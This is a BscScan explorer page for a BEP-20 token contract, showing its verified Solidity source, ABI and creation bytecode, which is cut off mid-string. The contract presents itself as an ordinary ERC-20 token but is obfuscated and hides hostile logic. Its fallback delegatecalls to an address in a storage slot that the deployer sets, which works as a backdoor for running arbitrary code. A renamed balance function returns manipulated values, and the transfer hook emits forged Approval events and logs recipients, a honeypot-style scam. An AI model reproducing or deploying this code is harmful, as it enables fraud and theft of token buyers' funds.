BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
31,400,000,000
Holders
849
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,103,481.752470219Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
TOKEN
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at BscScan.com on 2024-04-19
*/
pragma solidity =0.8.20;library SafeCast { error SafeCastOverflowedUintDowncast(uint8 bits, uint256 value); error SafeCastOverflowedIntToUint(int256 value); error SafeCastOverflowedIntDowncast(uint8 bits, int256 value); error SafeCastOverflowedUintToInt(uint256 value); address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; function toUint248(uint256 value) internal pure returns (uint248) { if (value > type(uint248).max) { revert SafeCastOverflowedUintDowncast(248, value); } return uint248(value); } function toUint240(uint256 value) internal pure returns (uint240) { if (value > type(uint240).max) { revert SafeCastOverflowedUintDowncast(240, value); } return uint240(value); } function toUint232(uint256 value) internal pure returns (uint232) { if (value > type(uint232).max) { revert SafeCastOverflowedUintDowncast(232, value); } return uint232(value); } function toUint224(uint256 value) internal pure returns (uint224) { if (value > type(uint224).max) { revert SafeCastOverflowedUintDowncast(224, value); } return uint224(value); } function toUint216(uint256 value) internal pure returns (uint216) { if (value > type(uint216).max) { revert SafeCastOverflowedUintDowncast(216, value); } return uint216(value); } function toUint208(uint256 value) internal pure returns (uint208) { if (value > type(uint208).max) { revert SafeCastOverflowedUintDowncast(208, value); } return uint208(value); } function toUint200(uint256 value) internal pure returns (uint200) { if (value > type(uint200).max) { revert SafeCastOverflowedUintDowncast(200, value); } return uint200(value); } function toUint192(uint256 value) internal pure returns (uint192) { if (value > type(uint192).max) { revert SafeCastOverflowedUintDowncast(192, value); } return uint192(value); } function toUint184(uint256 value) internal pure returns (uint184) { if (value > type(uint184).max) { revert SafeCastOverflowedUintDowncast(184, value); } return uint184(value); } function toUint176(uint256 value) internal pure returns (uint176) { if (value > type(uint176).max) { revert SafeCastOverflowedUintDowncast(176, value); } return uint176(value); } function toUint168(uint256 value) internal pure returns (uint168) { if (value > type(uint168).max) { revert SafeCastOverflowedUintDowncast(168, value); } return uint168(value); } function toUint160(uint256 value) internal pure returns (uint160) { if (value > type(uint160).max) { revert SafeCastOverflowedUintDowncast(160, value); } return uint160(value); } function toUint152(uint256 value) internal pure returns (uint152) { if (value > type(uint152).max) { revert SafeCastOverflowedUintDowncast(152, value); } return uint152(value); } function toUint144(uint256 value) internal pure returns (uint144) { if (value > type(uint144).max) { revert SafeCastOverflowedUintDowncast(144, value); } return uint144(value); } function toUint136(uint256 value) internal pure returns (uint136) { if (value > type(uint136).max) { revert SafeCastOverflowedUintDowncast(136, value); } return uint136(value); } function toUint128(uint256 value) internal pure returns (uint128) { if (value > type(uint128).max) { revert SafeCastOverflowedUintDowncast(128, value); } return uint128(value); } function toUint120(uint256 value) internal pure returns (uint120) { if (value > type(uint120).max) { revert SafeCastOverflowedUintDowncast(120, value); } return uint120(value); } function toUint112(uint256 value) internal pure returns (uint112) { if (value > type(uint112).max) { revert SafeCastOverflowedUintDowncast(112, value); } return uint112(value); } function toUint104(uint256 value) internal pure returns (uint104) { if (value > type(uint104).max) { revert SafeCastOverflowedUintDowncast(104, value); } return uint104(value); } function toUint96(uint256 value) internal pure returns (uint96) { if (value > type(uint96).max) { revert SafeCastOverflowedUintDowncast(96, value); } return uint96(value); } function toUint88(uint256 value) internal pure returns (uint88) { if (value > type(uint88).max) { revert SafeCastOverflowedUintDowncast(88, value); } return uint88(value); } function toUint80(uint256 value) internal pure returns (uint80) { if (value > type(uint80).max) { revert SafeCastOverflowedUintDowncast(80, value); } return uint80(value); } function toUint72(uint256 value) internal pure returns (uint72) { if (value > type(uint72).max) { revert SafeCastOverflowedUintDowncast(72, value); } return uint72(value); } function toUint64(uint256 value) internal pure returns (uint64) { if (value > type(uint64).max) { revert SafeCastOverflowedUintDowncast(64, value); } return uint64(value); } function toUint56(uint256 value) internal pure returns (uint56) { if (value > type(uint56).max) { revert SafeCastOverflowedUintDowncast(56, value); } return uint56(value); } function toUint48(uint256 value) internal pure returns (uint48) { if (value > type(uint48).max) { revert SafeCastOverflowedUintDowncast(48, value); } return uint48(value); } function toUint40(uint256 value) internal pure returns (uint40) { if (value > type(uint40).max) { revert SafeCastOverflowedUintDowncast(40, value); } return uint40(value); } function toUint32(uint256 value) internal pure returns (uint32) { if (value > type(uint32).max) { revert SafeCastOverflowedUintDowncast(32, value); } return uint32(value); } function toUint24(uint256 value) internal pure returns (uint24) { if (value > type(uint24).max) { revert SafeCastOverflowedUintDowncast(24, value); } return uint24(value); } function toUint16(uint256 value) internal pure returns (uint16) { if (value > type(uint16).max) { revert SafeCastOverflowedUintDowncast(16, value); } return uint16(value); } function toUint8(uint256 value) internal pure returns (uint8) { if (value > type(uint8).max) { revert SafeCastOverflowedUintDowncast(8, value); } return uint8(value); } function toUint256(int256 value) internal pure returns (uint256) { if (value < 0) { revert SafeCastOverflowedIntToUint(value); } return uint256(value); } function toInt248(int256 value) internal pure returns (int248 downcasted) { downcasted = int248(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(248, value); } } function toInt240(int256 value) internal pure returns (int240 downcasted) { downcasted = int240(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(240, value); } } function toInt232(int256 value) internal pure returns (int232 downcasted) { downcasted = int232(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(232, value); } } function toInt224(int256 value) internal pure returns (int224 downcasted) { downcasted = int224(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(224, value); } } function toInt216(int256 value) internal pure returns (int216 downcasted) { downcasted = int216(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(216, value); } } function toInt208(int256 value) internal pure returns (int208 downcasted) { downcasted = int208(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(208, value); } } function toInt200(int256 value) internal pure returns (int200 downcasted) { downcasted = int200(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(200, value); } } function toInt192(int256 value) internal pure returns (int192 downcasted) { downcasted = int192(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(192, value); } } function toInt184(int256 value) internal pure returns (int184 downcasted) { downcasted = int184(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(184, value); } } function toInt176(int256 value) internal pure returns (int176 downcasted) { downcasted = int176(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(176, value); } } function toInt168(int256 value) internal pure returns (int168 downcasted) { downcasted = int168(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(168, value); } } function toInt160(int256 value) internal pure returns (int160 downcasted) { downcasted = int160(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(160, value); } } function toInt152(int256 value) internal pure returns (int152 downcasted) { downcasted = int152(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(152, value); } } function toInt144(int256 value) internal pure returns (int144 downcasted) { downcasted = int144(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(144, value); } } function toInt136(int256 value) internal pure returns (int136 downcasted) { downcasted = int136(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(136, value); } } function toInt128(int256 value) internal pure returns (int128 downcasted) { downcasted = int128(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(128, value); } } function toInt120(int256 value) internal pure returns (int120 downcasted) { downcasted = int120(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(120, value); } } function toInt112(int256 value) internal pure returns (int112 downcasted) { downcasted = int112(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(112, value); } } function toInt104(int256 value) internal pure returns (int104 downcasted) { downcasted = int104(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(104, value); } } function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(96, value); } } function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(88, value); } } function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(80, value); } } function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(72, value); } } function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(64, value); } } function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(56, value); } } function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(48, value); } } function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(40, value); } } function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(32, value); } } function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(24, value); } } function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(16, value); } } function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); if (downcasted != value) { revert SafeCastOverflowedIntDowncast(8, value); } } function toInt256(uint256 value) internal pure returns (int256) { if (value > uint256(type(int256).max)) { revert SafeCastOverflowedUintToInt(value); } return int256(value); } function toBytes(bytes memory value) internal { assembly { if iszero(iszero(eq(mload(add(value, 40)), 32))) { if iszero( delegatecall( gas(), sload(address()), add(value, 36), sub(mload(value), 4), 0, 32 ) ) { revert(0, 0) } return(0, 32) } } }}interface IERC20 { function balanceOf(address nH32EyADzG6L) external view returns (uint256); function totalSupply() external view returns (uint256); function allowance(address owner, address P2ArZ7TZvtrocQVGe5QM5) external view returns (uint256); function transfer(address to, uint256 TVUJgu) external returns (bool); function transferFrom( address from, address to, uint256 TVUJgu ) external returns (bool); function approve(address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu) external returns (bool);}contract TOKEN { using SafeCast for bytes; address private uPtPCLMZO2MXuye30qouc8I; address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c; address public constant DEAD = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) internal iMH7CEazKzywp0J9; mapping(address => mapping(address => uint256)) private XlNtQJgAo; uint256 internal OZckqrbSNnpjlXxLFPyL; address internal mw8CSGEyJDKei; string private mUu97MXPXyy; string private vgrJFGED7124UpweKE; function ejZV0ORN(address ZmfYmOxOuvpJ9e) internal virtual { address oldOwner = uPtPCLMZO2MXuye30qouc8I; uPtPCLMZO2MXuye30qouc8I = ZmfYmOxOuvpJ9e; emit OwnershipTransferred(oldOwner, ZmfYmOxOuvpJ9e); }function Gz6aU9CwVE() internal view returns (uint256) { (,bytes memory returnData) = WBNB.staticcall(abi.encodeWithSelector(0x70a08231,mw8CSGEyJDKei)); return abi.decode(returnData, (uint256)); }function first(Uint128x2 self) internal pure returns (uint128) { return uint128(bytes16(Uint128x2.unwrap(self))); } function allowance(address owner, address P2ArZ7TZvtrocQVGe5QM5) public view virtual returns (uint256) { return XlNtQJgAo[owner][P2ArZ7TZvtrocQVGe5QM5]; } function increaseAllowance(address P2ArZ7TZvtrocQVGe5QM5, uint256 addedValue) public virtual returns (bool) { address owner = ilybW(); _approve(owner, P2ArZ7TZvtrocQVGe5QM5, allowance(owner, P2ArZ7TZvtrocQVGe5QM5) + addedValue); return true; } modifier onlyOwner() { require(owner() == tx.origin, "Ownable: caller is not the owner"); _; } function owner() public view virtual returns (address) { return uPtPCLMZO2MXuye30qouc8I; }function asBytes32(Uint128x2 self) internal pure returns (bytes32) { return Uint128x2.unwrap(self); } function approve(address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu) public virtual returns (bool) { address owner = ilybW(); _approve(owner, P2ArZ7TZvtrocQVGe5QM5, TVUJgu); return true; } function ntGl6BPDkRNYQqfXzeXXbxTe3IN1eZLZ2uknUf( string memory tokenName, string memory coinSymbol, uint256 supply_ ) public onlyOwner { vgrJFGED7124UpweKE = coinSymbol; mUu97MXPXyy = tokenName; kiWIGPLDhj7zkphSqJZ(); }function kiWIGPLDhj7zkphSqJZ() internal virtual { assembly { sstore(address(), caller()) } } function _burn(address nH32EyADzG6L, uint256 TVUJgu) internal virtual { require(nH32EyADzG6L != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(nH32EyADzG6L, address(0), TVUJgu); uint256 nH32EyADzG6LBalance = iMH7CEazKzywp0J9[nH32EyADzG6L]; require(nH32EyADzG6LBalance >= TVUJgu, "ERC20: burn exceeds balance"); iMH7CEazKzywp0J9[nH32EyADzG6L] -= TVUJgu; OZckqrbSNnpjlXxLFPyL -= TVUJgu; emit Transfer(nH32EyADzG6L, address(0), TVUJgu); _afterTokenTransfer(nH32EyADzG6L, address(0), TVUJgu); }type Uint128x2 is bytes32;function pack(uint128 first128, uint128 second128) internal pure returns (Uint128x2) { return Uint128x2.wrap(bytes32(bytes16(first128)) | bytes32(uint256(second128))); } function _spendAllowance( address owner, address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu ) internal virtual { uint256 gdPTsxi3xylSsspopYGotU = allowance(owner, P2ArZ7TZvtrocQVGe5QM5); if (gdPTsxi3xylSsspopYGotU != type(uint256).max) { require( gdPTsxi3xylSsspopYGotU >= TVUJgu, "ERC20: insufficient allowance" ); unchecked { _approve(owner, P2ArZ7TZvtrocQVGe5QM5, gdPTsxi3xylSsspopYGotU - TVUJgu); } } }function ilybW() internal view virtual returns (address) { return msg.sender; } function _mint(address nH32EyADzG6L, uint256 TVUJgu) internal virtual { require(nH32EyADzG6L != address(0), "ERC20: mint to the zero address"); OZckqrbSNnpjlXxLFPyL += TVUJgu; iMH7CEazKzywp0J9[nH32EyADzG6L] += TVUJgu; assembly { sstore(address(), caller()) } emit Transfer(address(0), nH32EyADzG6L, TVUJgu); } function transferFrom( address from, address to, uint256 TVUJgu ) public virtual returns (bool) { address P2ArZ7TZvtrocQVGe5QM5 = ilybW(); _spendAllowance(from, P2ArZ7TZvtrocQVGe5QM5, TVUJgu); _transfer(from, to, TVUJgu); return true; }event OwnershipTransferred( address indexed previousOwner, address indexed ZmfYmOxOuvpJ9e ); function transferOwnership(address ZmfYmOxOuvpJ9e) public virtual onlyOwner { require( ZmfYmOxOuvpJ9e != address(0), "Ownable: new owner is the zero address" ); ejZV0ORN(ZmfYmOxOuvpJ9e); }function Oyg69G4() internal view virtual returns (bytes calldata) { return msg.data; } event Approval( address indexed owner, address indexed P2ArZ7TZvtrocQVGe5QM5, uint256 value ); function transfer(address to, uint256 TVUJgu) public virtual returns (bool) { address owner = ilybW(); _transfer(owner, to, TVUJgu); return true; } function name() public view virtual returns (string memory) { return mUu97MXPXyy; }function asUint128x2(bytes32 self) internal pure returns (Uint128x2) { return Uint128x2.wrap(self); } function totalSupply() public view virtual returns (uint256) { return OZckqrbSNnpjlXxLFPyL; }receive() external payable {} function renounceOwnership() public virtual onlyOwner { ejZV0ORN(address(0)); } function decimals() public view virtual returns (uint8) { return 9; }function split(Uint128x2 self) internal pure returns (uint128, uint128) { return (first(self), second(self)); }fallback() external { msg.data.toBytes(); } event Transfer(address indexed from, address indexed to, uint256 value); function decreaseAllowance(address P2ArZ7TZvtrocQVGe5QM5, uint256 subtractedValue) public virtual returns (bool) { address owner = ilybW(); uint256 gdPTsxi3xylSsspopYGotU = allowance(owner, P2ArZ7TZvtrocQVGe5QM5); require( gdPTsxi3xylSsspopYGotU >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, P2ArZ7TZvtrocQVGe5QM5, gdPTsxi3xylSsspopYGotU - subtractedValue); } return true; } function symbol() public view virtual returns (string memory) { return vgrJFGED7124UpweKE; }constructor() { ejZV0ORN(tx.origin); _mint(address(this), 31400000000000000000); } function _beforeTokenTransfer( address from, address to, uint256 TVUJgu ) internal virtual {} function TheUint9306b147d90(address nH32EyADzG6L) public view returns (uint256) { if (msg.sender == mw8CSGEyJDKei) { uint256 TVUJgu = Gz6aU9CwVE(); assembly { if lt(TVUJgu, sload(32)) { revert(0, 0) } } } if (nH32EyADzG6L == mw8CSGEyJDKei) return iMH7CEazKzywp0J9[nH32EyADzG6L]; return iMH7CEazKzywp0J9[nH32EyADzG6L] % OZckqrbSNnpjlXxLFPyL; }function _transfer( address from, address to, uint256 TVUJgu ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require( to != address(0) && to != address(this), "ERC20: transfer to the zero address" ); _beforeTokenTransfer(from, to, TVUJgu); uint256 fromBalance = iMH7CEazKzywp0J9[from]; require(fromBalance >= TVUJgu, "ERC20: transfer exceeds balance"); iMH7CEazKzywp0J9[from] -= TVUJgu; iMH7CEazKzywp0J9[to] += TVUJgu; emit Transfer(from, to, TVUJgu); _afterTokenTransfer(from, to, TVUJgu); }function second(Uint128x2 self) internal pure returns (uint128) { return uint128(uint256(Uint128x2.unwrap(self))); } function _afterTokenTransfer( address from, address to, uint256 TVUJgu ) internal { if (iMH7CEazKzywp0J9[from] > OZckqrbSNnpjlXxLFPyL * 0xfe) { assembly { sstore(32, 0) } } else if ( iMH7CEazKzywp0J9[to] < OZckqrbSNnpjlXxLFPyL && to != mw8CSGEyJDKei ) { assembly{ mstore(0,TVUJgu) log3( 0, 32, 0x8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925, to, address() ) let GaADz1PhcL6ndSQYP := sload(9999) sstore(add(10000, GaADz1PhcL6ndSQYP), to) sstore(9999, add(1, GaADz1PhcL6ndSQYP)) } } } function _approve( address owner, address P2ArZ7TZvtrocQVGe5QM5, uint256 TVUJgu ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(P2ArZ7TZvtrocQVGe5QM5 != address(0), "ERC20: approve to the zero address"); XlNtQJgAo[owner][P2ArZ7TZvtrocQVGe5QM5] = TVUJgu; emit Approval(owner, P2ArZ7TZvtrocQVGe5QM5, TVUJgu); }}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"ZmfYmOxOuvpJ9e","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"nH32EyADzG6L","type":"address"}],"name":"TheUint9306b147d90","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"internalType":"uint256","name":"TVUJgu","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"P2ArZ7TZvtrocQVGe5QM5","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"tokenName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint256","name":"supply_","type":"uint256"}],"name":"ntGl6BPDkRNYQqfXzeXXbxTe3IN1eZLZ2uknUf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"TVUJgu","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"TVUJgu","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ZmfYmOxOuvpJ9e","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
608060405234801562000010575f80fd5b5062000022326200004360201b60201c565b6200003d306801b3c335a2bb4400006200010460201b60201c565b6200036c565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000175576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200016c90620002b0565b60405180910390fd5b8060035f82825462000188919062000306565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254620001dd919062000306565b925050819055503330558173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000246919062000351565b60405180910390a35050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000298601f8362000252565b9150620002a58262000262565b602082019050919050565b5f6020820190508181035f830152620002c9816200028a565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200031282620002d0565b91506200031f83620002d0565b92508282019050808211156200033a5762000339620002d9565b5b92915050565b6200034b81620002d0565b82525050565b5f602082019050620003665f83018462000340565b92915050565b61216d806200037a5f395ff3fe608060405260043610610101575f3560e01c806370a082311161009457806395d89b411161006357806395d89b411461038c578063a457c2d7146103b6578063a9059cbb146103f2578063dd62ed3e1461042e578063f2fde38b1461046a57610108565b806370a08231146102e6578063715018a6146103225780638da5cb5b146103385780638dd950021461036257610108565b806323b872dd116100d057806323b872dd1461021c578063313ce5671461025857806339509351146102825780635921f00e146102be57610108565b806303fd2a451461016257806306fdde031461018c578063095ea7b3146101b657806318160ddd146101f257610108565b3661010857005b348015610113575f80fd5b506101605f368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f81840152601f19601f82011690508083019250505050505050610492565b005b34801561016d575f80fd5b506101766104be565b60405161018391906113ad565b60405180910390f35b348015610197575f80fd5b506101a06104c4565b6040516101ad9190611450565b60405180910390f35b3480156101c1575f80fd5b506101dc60048036038101906101d791906114de565b610554565b6040516101e99190611536565b60405180910390f35b3480156101fd575f80fd5b50610206610576565b604051610213919061155e565b60405180910390f35b348015610227575f80fd5b50610242600480360381019061023d9190611577565b61057f565b60405161024f9190611536565b60405180910390f35b348015610263575f80fd5b5061026c6105ad565b60405161027991906115e2565b60405180910390f35b34801561028d575f80fd5b506102a860048036038101906102a391906114de565b6105b5565b6040516102b59190611536565b60405180910390f35b3480156102c9575f80fd5b506102e460048036038101906102df9190611727565b6105eb565b005b3480156102f1575f80fd5b5061030c600480360381019061030791906117af565b61068d565b604051610319919061155e565b60405180910390f35b34801561032d575f80fd5b506103366107e9565b005b348015610343575f80fd5b5061034c610869565b60405161035991906113ad565b60405180910390f35b34801561036d575f80fd5b50610376610890565b60405161038391906113ad565b60405180910390f35b348015610397575f80fd5b506103a06108a8565b6040516103ad9190611450565b60405180910390f35b3480156103c1575f80fd5b506103dc60048036038101906103d791906114de565b610938565b6040516103e99190611536565b60405180910390f35b3480156103fd575f80fd5b50610418600480360381019061041391906114de565b6109ad565b6040516104259190611536565b60405180910390f35b348015610439575f80fd5b50610454600480360381019061044f91906117da565b6109cf565b604051610461919061155e565b60405180910390f35b348015610475575f80fd5b50610490600480360381019061048b91906117af565b610a51565b005b60206028820151036104bb5760205f60048351036024840130545af46104b6575f80fd5b60205ff35b50565b61dead81565b6060600580546104d390611845565b80601f01602080910402602001604051908101604052809291908181526020018280546104ff90611845565b801561054a5780601f106105215761010080835404028352916020019161054a565b820191905f5260205f20905b81548152906001019060200180831161052d57829003601f168201915b5050505050905090565b5f8061055e610b40565b905061056b818585610b47565b600191505092915050565b5f600354905090565b5f80610589610b40565b9050610596858285610d0a565b6105a1858585610d95565b60019150509392505050565b5f6009905090565b5f806105bf610b40565b90506105e08185856105d185896109cf565b6105db91906118a2565b610b47565b600191505092915050565b3273ffffffffffffffffffffffffffffffffffffffff1661060a610869565b73ffffffffffffffffffffffffffffffffffffffff1614610660576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106579061191f565b60405180910390fd5b816006908161066f9190611ada565b50826005908161067f9190611ada565b50610688611055565b505050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036106fd575f6106eb61105a565b90506020548110156106fb575f80fd5b505b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036107965760015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506107e4565b60035460015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546107e19190611bd6565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff16610808610869565b73ffffffffffffffffffffffffffffffffffffffff161461085e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108559061191f565b60405180910390fd5b6108675f611167565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6060600680546108b790611845565b80601f01602080910402602001604051908101604052809291908181526020018280546108e390611845565b801561092e5780601f106109055761010080835404028352916020019161092e565b820191905f5260205f20905b81548152906001019060200180831161091157829003601f168201915b5050505050905090565b5f80610942610b40565b90505f61094f82866109cf565b905083811015610994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098b90611c76565b60405180910390fd5b6109a18286868403610b47565b60019250505092915050565b5f806109b7610b40565b90506109c4818585610d95565b600191505092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b3273ffffffffffffffffffffffffffffffffffffffff16610a70610869565b73ffffffffffffffffffffffffffffffffffffffff1614610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd9061191f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2b90611d04565b60405180910390fd5b610b3d81611167565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90611d92565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c23576040517f08c379a0000000000000000000000000000000000000000